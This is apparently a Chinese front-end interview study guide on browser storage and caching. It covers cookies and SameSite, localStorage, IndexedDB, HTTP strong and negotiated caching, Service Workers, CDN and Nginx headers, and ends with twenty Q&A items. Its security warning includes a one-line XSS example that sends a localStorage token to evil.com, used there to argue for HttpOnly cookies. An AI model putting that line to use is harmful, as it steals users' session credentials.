前端存储与缓存 面试备战

Cookie / Web Storage / IndexedDB / HTTP Cache / Service Worker / CDN — 深度图解与生产实战

1. 客户端存储方案全景

浏览器提供了多种客户端存储方案,每种方案都有其适用场景。选择正确的存储方式是前端工程师的基本功。

CSS DIAGRAM #1 — 客户端存储方案对比图
🎫

Cookie

~4KB
每次HTTP请求自动携带
可设过期时间
支持 HttpOnly
🎒

localStorage

~5MB
持久化存储
同源共享
同步API
📄

sessionStorage

~5MB
标签页级别
关闭即清除
同步API
🧳

IndexedDB

数百MB+
结构化数据
异步API
事务支持
🌐

Cache API

无硬限制
请求/响应对
配合SW使用
离线优先
✈️ 生活类比 — 存储方案 = 旅行行李
Cookie = 机票上的备忘录 — 很小(4KB),每次登机(HTTP请求)都要拿出来检查,适合放身份凭证
localStorage = 随身背包 — 容量适中(5MB),不用每次都打开,但一直在身边,适合放常用物品
sessionStorage = 一次性购物袋 — 用完就扔,只在这一趟旅程中有用
IndexedDB = 行李箱 — 超大容量,但要自己打包(异步API),适合存放大量资料
Cache API = 酒店保险箱 — 专门用来存 Request/Response 这样的特定物品,配合管家(Service Worker)使用

全维度对比表 (12个维度)

维度CookielocalStoragesessionStorageIndexedDBCache API
容量~4KB~5MB~5MB数百MB+无硬限制
生命周期可设过期永久标签页关闭永久手动管理
API 类型字符串同步字符串同步字符串异步异步
作用域同源+路径同源同源+标签页同源同源
HTTP 发送✅ 自动携带
跨域受限(SameSite)不可不可不可不可
主线程阻塞⚠️ 是(同步)⚠️ 是(同步)
数据类型字符串字符串字符串结构化数据Request/Response
事务支持
搜索/索引✅ 索引
典型用途认证/跟踪偏好/Token表单临时离线数据资源缓存
安全特性HttpOnly/Secure无特殊无特殊同源策略同源策略

2. Cookie 详解

Cookie 结构

Cookie 是浏览器存储在客户端的一小段文本数据,每次 HTTP 请求都会自动携带。

// Set-Cookie 响应头完整语法
Set-Cookie: name=value;
  expires=Wed, 09 Jun 2027 10:18:14 GMT; // 过期时间(绝对)
  max-age=86400;                           // 过期秒数(相对, 优先于expires)
  domain=.example.com;                    // 作用域名(前导.表示含子域)
  path=/;                                 // 作用路径
  secure;                                   // 仅HTTPS发送
  httpOnly;                                 // JS不可读(document.cookie)
  sameSite=Lax;                            // 跨站发送策略
Cookie 在 HTTP 请求/响应中的流转
← 服务端响应 (Set-Cookie)
HTTP/1.1 200 OK
Set-Cookie: sid=abc123; HttpOnly; Secure; SameSite=Lax
Content-Type: text/html
⬇ 浏览器自动存储 ⬇
→ 客户端后续请求 (Cookie)
GET /api/user HTTP/1.1
Cookie: sid=abc123
Host: example.com

Session Cookie vs Persistent Cookie

特性Session CookiePersistent Cookie
过期时间未设置 expires/max-age设置了 expires 或 max-age
生命周期浏览器关闭即消失到期才消失
典型用途临时会话"记住我"、偏好设置
示例Set-Cookie: sid=xyzSet-Cookie: token=abc; Max-Age=604800

SameSite 属性详解

SameSite 决定 Cookie 在跨站请求中是否发送,是防御 CSRF 的重要手段。

跨站导航跨站表单POST跨站AJAX推荐场景
Strict ❌ 不发送❌ 不发送❌ 不发送 敏感操作(银行、支付)
Lax (默认) ✅ 顶层GET导航❌ 不发送❌ 不发送 大多数场景
None ✅ 发送✅ 发送✅ 发送 第三方嵌入(需配合Secure)
注意
SameSite=None 必须同时设置 Secure,否则浏览器会拒绝。Chrome 80+ 默认 SameSite=Lax

生产案例

生产案例

Cookie 跨域丢失 — domain 配置踩坑

现象:用户登录 api.example.com 后跳转到 www.example.com,发现 Cookie 丢失。

原因:Cookie 的 domain 默认是当前域名(不含子域)。

// ❌ 只在 api.example.com 下可见
Set-Cookie: token=abc; domain=api.example.com

// ✅ 所有子域共享
Set-Cookie: token=abc; domain=.example.com; path=/; SameSite=Lax; Secure; HttpOnly

关键点:

3. Web Storage (localStorage / sessionStorage)

API Quick Reference

// 存储
localStorage.setItem('key', 'value');        // 存入(自动转字符串)
localStorage.getItem('key');                  // 读取,不存在返回 null
localStorage.removeItem('key');              // 删除某项
localStorage.clear();                           // 清空全部
localStorage.length;                                    // 已存项数
localStorage.key(0);                          // 获取第N个key名

// ⚠️ 只能存字符串!对象需序列化
localStorage.setItem('user', JSON.stringify({ name: '张三', age: 25 }));
const user = JSON.parse(localStorage.getItem('user'));

// sessionStorage API 完全相同,只是作用域不同
sessionStorage.setItem('draft', '临时内容');

Storage 事件 — 跨标签页通信

当 localStorage 被修改时,其他同源标签页会触发 storage 事件:

// 标签页 A:修改数据
localStorage.setItem('theme', 'dark');

// 标签页 B:监听变化(注意:只有其他标签页能收到!)
window.addEventListener('storage', (e) => {
  console.log(e.key);       // 'theme'
  console.log(e.oldValue);  // null (旧值)
  console.log(e.newValue);  // 'dark' (新值)
  console.log(e.url);       // 修改来源的URL
});
核心要点
storage 事件只在其他标签页触发,当前页修改自己不会收到。这是实现跨标签页同步(主题切换、登录状态)的轻量方案。

生产模式

1. 主题偏好

// 初次加载时读取,无值则用系统偏好
const theme = localStorage.getItem('theme')
  || (window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light');
document.documentElement.setAttribute('data-theme', theme);

2. 表单草稿自动保存

const form = document.querySelector('form');
const draftKey = 'draft:' + location.pathname;

// 恢复草稿
const saved = sessionStorage.getItem(draftKey);
if (saved) Object.assign(form, JSON.parse(saved));

// 自动保存(防抖)
let timer;
form.addEventListener('input', () => {
  clearTimeout(timer);
  timer = setTimeout(() => {
    const data = Object.fromEntries(new FormData(form));
    sessionStorage.setItem(draftKey, JSON.stringify(data));
  }, 300);
});

安全与生产案例

⚠️ 安全警告

localStorage 可被 XSS 攻击读取!如果存在 XSS 漏洞,攻击者可以通过 localStorage.getItem() 窃取 Token。

// ❌ 如果页面有XSS,攻击者可以:
new Image().src = 'https://evil.com/steal?token=' + localStorage.getItem('token');

最佳实践:敏感Token 放 HttpOnly Cookie;localStorage 只放非敏感数据(偏好、草稿)。

生产案例

localStorage 存了 5MB 数据导致性能问题

现象:页面操作越来越卡,DevTools 显示 localStorage 已满。

根因:某功能每次操作都在 localStorage 追加 JSON 日志,数据膨胀到 5MB。localStorage 的 setItem同步阻塞操作,大数据量序列化耗时严重。

修复方案:

// 1. 限制存储大小(只保留最近N条)
function safeSet(key, data, maxSize = 100) {
  const arr = JSON.parse(localStorage.getItem(key) || '[]');
  arr.push(data);
  if (arr.length > maxSize) arr.splice(0, arr.length - maxSize);
  localStorage.setItem(key, JSON.stringify(arr));
}

// 2. 大数据改用 IndexedDB
// 3. 考虑使用 LZ-String 压缩

4. IndexedDB

什么时候 localStorage 不够用?

数据 > 5MB 需要索引查询 结构化数据 离线应用 需要事务

当满足以上任何一个条件时,就应该考虑 IndexedDB。

数据库结构

IndexedDB 数据层级
同源下可多个
Database
→ 包含 →
类似表
Object Store
→ 包含 →
类似行
Records
→ 用 →
加速查询
Indexes

基础 CRUD 操作 (使用 idb 库)

import { openDB } from 'idb';

const db = await openDB('myApp', 1, {
  upgrade(db) {
    const store = db.createObjectStore('users', { keyPath: 'id' });
    store.createIndex('by_name', 'name');   // 创建索引
    store.createIndex('by_age', 'age');
  }
});

// Create
await db.add('users', { id: 1, name: '张三', age: 25 });

// Read
const user = await db.get('users', 1);
const byAge = await db.getAllFromIndex('users', 'by_age', IDBKeyRange.lowerBound(20));

// Update
await db.put('users', { id: 1, name: '张三', age: 26 });

// Delete
await db.delete('users', 1);

推荐库

特点适用场景
idb~1.2KB, Promise 封装, 零依赖推荐首选,轻量易用
Dexie.js链式API, 强类型, ~30KB复杂查询, 大型项目
原生 API无依赖, 事件回调学习理解底层

生产用例:Offline-First 应用

// 离线写操作 → 同步到服务端
async function saveNote(note) {
  note.status = 'pending';  // 标记为待同步
  note.timestamp = Date.now();
  await db.put('notes', note);

  if (navigator.onLine) {
    await syncToServer(note);
  }
}

// 网络恢复时自动同步
window.addEventListener('online', async () => {
  const pending = await db.getAllFromIndex('notes', 'by_status', 'pending');
  for (const note of pending) await syncToServer(note);
});

5. 浏览器缓存机制

浏览器缓存是前端性能优化的核心。理解缓存策略是面试必考、生产必备的技能。

浏览器请求资源
强缓存有效?
→ Yes
直接用缓存 (200)
→ No
协商缓存
304 / 200

强缓存 (不问服务器)

强缓存命中时,浏览器直接从本地读取资源,不发送任何请求到服务器,状态码为 200 (from disk/memory cache)

Expires (HTTP/1.0)

// 绝对过期时间,依赖客户端时钟,不推荐
Expires: Thu, 01 Dec 2026 16:00:00 GMT

Cache-Control (HTTP/1.1, 优先级更高)

指令含义使用场景
max-age=31536000缓存1年(秒)带hash的静态资源
no-cache可以缓存,但每次使用前必须验证HTML入口文件
no-store完全不缓存敏感数据API
public允许中间代理缓存CDN可缓存的资源
private仅浏览器可缓存用户个性化内容
must-revalidate过期后必须验证需要新鲜度保证
面试陷阱
no-cache 不是"不缓存"!它的意思是"可以缓存,但每次使用前要跟服务器验证"。no-store 才是真正的不缓存。
CSS DIAGRAM #3 — 强缓存时间线
首次请求
向服务器获取资源
Cache-Control: max-age=3600
10分钟后
强缓存命中 ✅
200 (from cache)
30分钟后
强缓存命中 ✅
200 (from cache)
61分钟后
强缓存过期 ❌
进入协商缓存流程

协商缓存 (问服务器要不要用缓存)

强缓存过期后,浏览器携带缓存标识去询问服务器:"我的缓存还新鲜吗?",如果没变则返回 304 Not Modified

方式一:Last-Modified / If-Modified-Since

// 第一次响应 — 服务端告诉浏览器资源最后修改时间
Last-Modified: Wed, 09 Jun 2026 08:00:00 GMT

// 第二次请求 — 浏览器带上这个时间问服务器
If-Modified-Since: Wed, 09 Jun 2026 08:00:00 GMT

// 服务端判断:没修改 → 304 (不返回body,节省带宽)
HTTP/1.1 304 Not Modified

方式二:ETag / If-None-Match (优先级更高)

// 第一次响应 — 服务端返回资源指纹
ETag: "abc123"

// 第二次请求 — 浏览器带上指纹
If-None-Match: "abc123"

// 服务端比对:一致 → 304
HTTP/1.1 304 Not Modified
CSS DIAGRAM #3 — 协商缓存完整流程
浏览器请求资源
携带 If-None-Match / If-Modified-Since
服务器比对资源
未修改
304 Not Modified
已修改
200 OK + 新资源
浏览器使用本地缓存
/
浏览器存储新资源

强缓存 vs 协商缓存对比

维度强缓存协商缓存
是否请求服务器❌ 不请求✅ 发请求
状态码200 (from cache)304 Not Modified
速度极快(零网络)较快(无body传输)
相关HeaderCache-Control / ExpiresETag / Last-Modified
精确度基于时间基于内容指纹(ETag更精确)
适用资源带hash的静态资源HTML入口、频繁更新的资源

完整缓存决策流程图

CSS DIAGRAM #5 — 完整缓存决策流程树
用户请求 URL
有 Service Worker?
Yes → SW 拦截处理 No ↓
强缓存未过期? (Cache-Control)
Yes → 200 from cache ✅ (结束) No ↓
协商缓存 (ETag/Last-Modified)
304 → 用本地缓存 ✅ 200 → 返回新资源 🔄
从网络获取资源 (无缓存)

6. Service Worker 与 PWA

Service Worker 是浏览器在后台独立运行的脚本,可以拦截网络请求、管理缓存、实现离线体验。

CSS DIAGRAM — Service Worker 生命周期
Register
注册 SW
Install
安装 / 预缓存
Activate
激活 / 清理旧缓存
Fetch
拦截请求 / 返回缓存
Waiting 旧SW未关闭时新SW处于等待状态 → skipWaiting + claim 可跳过等待

Cache API 基本用法

// sw.js — Service Worker 文件

// Install: 预缓存核心资源
const CACHE_NAME = 'app-v1';
const ASSETS = ['/', '/index.html', '/app.js', '/style.css'];

self.addEventListener('install', (e) => {
  e.waitUntil(
    caches.open(CACHE_NAME).then(cache => cache.addAll(ASSETS))
  );
});

// Activate: 清理旧版本缓存
self.addEventListener('activate', (e) => {
  e.waitUntil(
    caches.keys().then(keys =>
      Promise.all(keys.filter(k => k !== CACHE_NAME).map(k => caches.delete(k)))
    )
  );
});

// Fetch: 缓存优先策略
self.addEventListener('fetch', (e) => {
  e.respondWith(
    caches.match(e.request).then(cached => cached || fetch(e.request))
  );
});

常用缓存策略

策略逻辑适用场景
Cache First缓存优先,没有再请求网络静态资源、字体、图片
Network First网络优先,失败再读缓存API请求、频繁更新内容
Stale While Revalidate先返回缓存,同时后台更新非关键API、配置数据
Network Only只走网络登录、支付等实时请求
Cache Only只读缓存预缓存的离线页面
生产案例

用 Service Worker 缓存 API 响应实现秒开

场景:Dashboard 首页加载 8 个 API,首次加载 3s+,用户感觉慢。

方案:使用 Stale-While-Revalidate 策略缓存 GET 请求。

// Stale While Revalidate 策略
self.addEventListener('fetch', (e) => {
  if (!e.request.url.includes('/api/')) return;

  e.respondWith(
    caches.open('api-cache').then(async cache => {
      const cached = await cache.match(e.request);
      // 后台更新(不阻塞响应)
      const fetchPromise = fetch(e.request).then(response => {
        cache.put(e.request, response.clone());
        return response;
      });
      // 先返回缓存(如果有),同时后台刷新
      return cached || fetchPromise;
    })
  );
});

效果:二次访问从 3s+ 降到 ~50ms(读缓存),后台静默更新数据。

7. CDN 缓存

CSS DIAGRAM #2 — CDN 架构示意
👤 用户 (北京)
⬇ 就近访问
🏢 CDN 北京节点
命中缓存 → 直接返回
⬇ 未命中 → 回源
🖥️ 源站 (上海)
🏢 CDN 广州节点
🏢 CDN 成都节点
🏢 CDN 东京节点

CDN 缓存控制

Header作用示例
CDN-Cache-ControlCDN 专用缓存指令CDN-Cache-Control: max-age=3600
Surrogate-Key批量失效的分组标识Surrogate-Key: app-v2
X-Cache标识是否命中CDN缓存X-Cache: HIT / MISS
Vary区分缓存版本Vary: Accept-Encoding

缓存失效策略

1. 内容hash:文件名包含hash,更新即新URL
2. 版本路径:/v2/api/users,新版本用新路径
3. 主动刷新:调CDN API清除指定URL缓存
4. Surrogate-Key:按组批量失效
生产案例

CDN 缓存了旧版本 JS 导致白屏

现象:发版后部分用户反馈页面白屏,但刷新后恢复。

根因分析:

  1. 新版本 index.html 引用了 app.abc123.js
  2. CDN 缓存了旧的 index.html(Cache-Control: max-age 未过期)
  3. 旧 HTML 引用已不存在的 JS → 404 → 白屏

根治方案:

# HTML 绝不缓存(或只走协商缓存)
location / {
  add_header Cache-Control "no-cache, must-revalidate";
}

# 带 hash 的静态资源 — 长期缓存
location /static/ {
  add_header Cache-Control "public, max-age=31536000, immutable";
}

# 发版时确保 CDN 刷新 HTML 缓存
# Vercel/Cloudflare 会自动处理,自建CDN需手动刷新

8. 前端缓存策略实战

以一个 Dashboard 项目为例,展示完整的缓存策略配置。

各资源类型的缓存策略

资源类型策略Cache-Control为什么
HTML 入口 no-cache no-cache, must-revalidate 保证每次拿到最新HTML,以加载正确版本的JS/CSS
JS/CSS (带hash) max-age=1年 public, max-age=31536000, immutable hash变了=新文件,hash不变=文件不变,放心长期缓存
图片 max-age=1天 public, max-age=86400 图片可能更换但不太频繁,短期缓存平衡体验与更新
字体 max-age=1年 public, max-age=31536000, immutable 字体几乎不变,且带hash
API (GET) no-store / 短缓存 no-storemax-age=60 数据需要实时性,敏感接口绝不缓存

Nginx 配置示例

# Nginx — 完整缓存配置
server {
    listen 443 ssl http2;
    server_name app.example.com;

    # HTML — 不缓存(或只协商缓存)
    location / {
        root /var/www/app;
        try_files $uri /index.html;
        add_header Cache-Control "no-cache, no-store, must-revalidate";
        add_header Pragma "no-cache";
    }

    # 带 hash 的静态资源 — 1年缓存 + immutable
    location /static/ {
        root /var/www/app;
        add_header Cache-Control "public, max-age=31536000, immutable";
        add_header Vary "Accept-Encoding";

        # 开启 gzip
        gzip on;
        gzip_types text/css application/javascript application/json image/svg+xml;
    }

    # 图片 — 1天缓存
    location /images/ {
        root /var/www/app;
        add_header Cache-Control "public, max-age=86400";
    }

    # API 代理 — 不缓存
    location /api/ {
        proxy_pass http://backend:3000;
        add_header Cache-Control "no-store";
    }
}
关键原则

immutable 告诉浏览器这个资源永远不会变,连协商缓存都省了。配合 content hash 使用是最优方案。

Webpack/Vite 的 [contenthash] / [hash] 就是为此而生。

9. 面试题精选 (20道)

Q1 Cookie、localStorage、sessionStorage 三者有什么区别?

核心区别:

CookielocalStoragesessionStorage
容量~4KB~5MB~5MB
HTTP携带✅ 自动
生命周期可设过期永久标签页关闭
作用域同源+路径同源同源+标签页
API字符串操作setItem/getItemsetItem/getItem
场景认证/跟踪持久偏好临时数据

答题要点:从容量、生命周期、API、HTTP行为、安全特性五个维度对比。

Q2 什么是 HttpOnly Cookie?为什么重要?

HttpOnly 标志使 Cookie 只能通过 HTTP 请求传输,JavaScript 的 document.cookie 无法读取。

重要性:即使网站存在 XSS 漏洞,攻击者也无法通过 JS 窃取 HttpOnly Cookie 中的敏感信息(如 Session Token)。是防御 XSS 窃取凭证的关键手段。

Q3 SameSite 属性有哪些值?分别什么作用?
  • Strict:完全禁止跨站发送。用户从外部链接点入也不带 Cookie。安全性最高,但可能影响用户体验。
  • Lax(默认):允许顶层导航的 GET 请求携带 Cookie,但 POST、iframe、AJAX 等跨站请求不携带。平衡安全与体验。
  • None:允许跨站发送,但必须配合 Secure。适用于第三方嵌入、SSO 等场景。

Chrome 80+ 默认 SameSite=Lax,需要显式设置 None 才能跨站发送。

Q4 no-cache 和 no-store 有什么区别?

no-cache:可以存储缓存,但每次使用前必须向服务器验证(协商缓存)。
no-store:完全不存储任何缓存,每次都重新请求。

面试陷阱:no-cache 名字有误导性,它不是"不缓存"而是"用前验证"。

Q5 强缓存和协商缓存的区别?

强缓存:浏览器直接使用本地缓存,不发请求。状态码 200 (from cache)。由 Cache-Control / Expires 控制。

协商缓存:浏览器发请求问服务器缓存是否可用。未变化返回 304(无body),有变化返回 200 + 新资源。由 ETag / Last-Modified 控制。

优先级:强缓存 > 协商缓存。强缓存生效时根本不会进入协商流程。

Q6 ETag 和 Last-Modified 各有什么优缺点?
Last-ModifiedETag
精度秒级(不够精确)内容级(更精确)
性能只需比较时间需计算hash/指纹
局限1秒内多次修改无法感知;编辑但未改内容也会变消耗服务器计算资源
优先级较低较高(同时存在时以ETag为准)
Q7 前端如何实现 Token 的安全存储?

方案对比:

  • HttpOnly Cookie(推荐):JS 无法读取,防 XSS。需配合 CSRF Token 防 CSRF 攻击。
  • localStorage:简单易用,但 XSS 可窃取。只适合非敏感数据。
  • sessionStorage:同 localStorage,但标签页关闭即清除,安全性略高。
  • 内存(变量):最安全(XSS 也难以获取),但刷新丢失,需配合 refresh token。

最佳实践:Access Token 存内存(或短过期localStorage),Refresh Token 存 HttpOnly Cookie。

Q8 localStorage 存储满了会怎样?怎么处理?

setItem 会抛出 QuotaExceededError 异常(约 5MB 限制,各浏览器不同)。

try {
  localStorage.setItem('key', data);
} catch (e) {
  if (e.name === 'QuotaExceededError') {
    // 清理旧数据或切换到 IndexedDB
    console.warn('Storage quota exceeded');
  }
}

大数据场景应使用 IndexedDB,它没有严格的大小限制。

Q9 Service Worker 的生命周期是怎样的?
  1. Register:主线程调用 navigator.serviceWorker.register()
  2. Install:SW 首次安装,适合预缓存资源。可调用 skipWaiting() 跳过等待。
  3. Waiting:新 SW 安装完成,但旧 SW 还在控制页面,新 SW 处于等待状态。
  4. Activate:旧 SW 不再控制页面后,新 SW 激活。可调用 clients.claim() 立即接管。
  5. Fetched:SW 激活后,可以拦截 fetch 请求、推送通知等。

关键点:页面刷新后新 SW 才会接管(默认),因为旧页面可能依赖旧 SW。

Q10 CDN 是什么?前端如何配合 CDN 做缓存优化?

CDN(Content Delivery Network)是一组分布在全球各地的缓存服务器,用户请求会被路由到最近的边缘节点,减少延迟。

前端配合要点:

  • HTML 不缓存或短缓存(保证获取最新入口)
  • JS/CSS/图片使用 content hash 文件名 + 长期缓存
  • 发版后旧资源不要立即删除(保留1-2个版本兼容)
  • 利用 CDN 的缓存刷新 API 在发版时主动刷新 HTML
Q11 indexedDB 和 localStorage 的区别?什么时候用 IndexedDB?

核心区别:IndexedDB 是异步的、支持事务、可存结构化数据、容量大(数百MB);localStorage 是同步的、只能存字符串、容量小(5MB)。

该用 IndexedDB 的场景:

  • 数据量超过 5MB
  • 需要索引和复杂查询
  • 需要存二进制数据(Blob、File)
  • 离线优先应用
  • 需要事务保证数据一致性
Q12 跨标签页通信有哪些方案?
  1. Storage 事件:localStorage 修改时其他标签页收到 storage 事件。最简单。
  2. BroadcastChannel:同源标签页间的消息广播。API 清晰。
  3. SharedWorker:共享 Worker,多标签页共用一个 Worker 实例。
  4. postMessage:window.open 返回的引用之间直接通信。
  5. IndexedDB:一个标签页写入,另一个轮询读取。
Q13 什么是 immutable?在 Cache-Control 中有什么用?

Cache-Control: public, max-age=31536000, immutable

作用:告诉浏览器在 max-age 期间,即使用户手动刷新(F5),也不要发送协商缓存请求,直接用本地缓存。

适用:配合 content hash 使用。文件名带 hash 意味着内容变了 = 新 URL,旧 URL 的内容永远不会变。

效果:减少不必要的 304 请求,提升刷新体验。

Q14 用户按 F5 / Ctrl+F5 / 地址栏回车时,缓存行为有何不同?
操作强缓存协商缓存
地址栏回车 / 链接跳转✅ 正常生效✅ 正常生效
F5 刷新❌ 跳过✅ 会验证
Ctrl+F5 强制刷新❌ 跳过❌ 跳过(请求头加 Cache-Control: no-cache)
Q15 Service Worker 和 Web Worker 有什么区别?
Service WorkerWeb Worker
生命周期独立于页面(可离线运行)随页面创建和销毁
DOM访问
网络拦截✅ 可拦截fetch
通信postMessagepostMessage
使用场景离线缓存、推送通知CPU密集计算
数量同源只有一个活跃SW可创建多个
Q16 为什么不建议把 Token 存在 localStorage?

因为 localStorage 可以被 JavaScript 直接读取。如果网站存在 XSS 漏洞,攻击者可以通过注入脚本窃取 Token。

推荐做法:

  • Access Token 存在 JavaScript 变量中(内存),XSS 也难以跨作用域获取
  • Refresh Token 存在 HttpOnly + Secure + SameSite=Strict 的 Cookie 中
  • Access Token 设置短过期时间(如 15 分钟)
Q17 什么是 Stale-While-Revalidate 缓存策略?

核心思路:先立即返回缓存的旧数据(stale),同时后台发请求更新缓存(revalidate)。下次请求时就能拿到新数据。

优势:用户总是能快速得到响应,同时数据也会在后台更新。非常适合"先展示后更新"的场景。

HTTP Header:Cache-Control: max-age=60, stale-while-revalidate=3600(60秒内直接用缓存,60-3660秒内返回旧数据同时后台刷新)。

Q18 发版后如何保证用户拿到最新的静态资源?

完整方案:

  1. HTML 不缓存:Cache-Control: no-cache,确保每次获取最新 HTML
  2. JS/CSS 带 content hash:Webpack/Vite 的 [contenthash],内容变 = 文件名变
  3. 旧版本保留:服务器保留最近 2-3 个版本的静态资源,防止用户还在用旧 HTML 时 404
  4. CDN 刷新:发版后刷新 CDN 的 HTML 缓存(通常 CDN 服务商会自动处理)
  5. Service Worker 更新:SW 文件本身变更后会触发更新流程
Q19 浏览器缓存的完整决策流程是什么?
  1. 用户请求资源 → 先查 Service Worker 是否拦截
  2. SW 未拦截 → 检查强缓存(Cache-Control / Expires)是否有效
  3. 强缓存有效 → 直接返回 200 (from cache)
  4. 强缓存过期 → 发送协商缓存请求(携带 If-None-Match / If-Modified-Since)
  5. 服务器比对 → 未变化返回 304,有变化返回 200 + 新资源
  6. 没有任何缓存 → 直接从网络获取

优先级:Service Worker > 强缓存 > 协商缓存 > 网络请求

Q20 如何设计一个离线优先(Offline-First)的 Web 应用?

架构设计:

  1. Service Worker:使用 Cache First 策略缓存静态资源,Stale-While-Revalidate 缓存 API 数据
  2. IndexedDB:存储业务数据,离线写操作标记为 pending
  3. Background Sync:网络恢复后自动同步 pending 数据
  4. 冲突解决:使用时间戳或版本号处理离线-在线数据冲突
  5. UI 反馈:明确告知用户当前在线/离线状态,离线操作标记为"待同步"
// 核心架构
SW (Cache API) → 静态资源离线可用
IndexedDB      → 业务数据本地存储
Background Sync → 网络恢复自动同步
Online/Offline Event → UI 状态反馈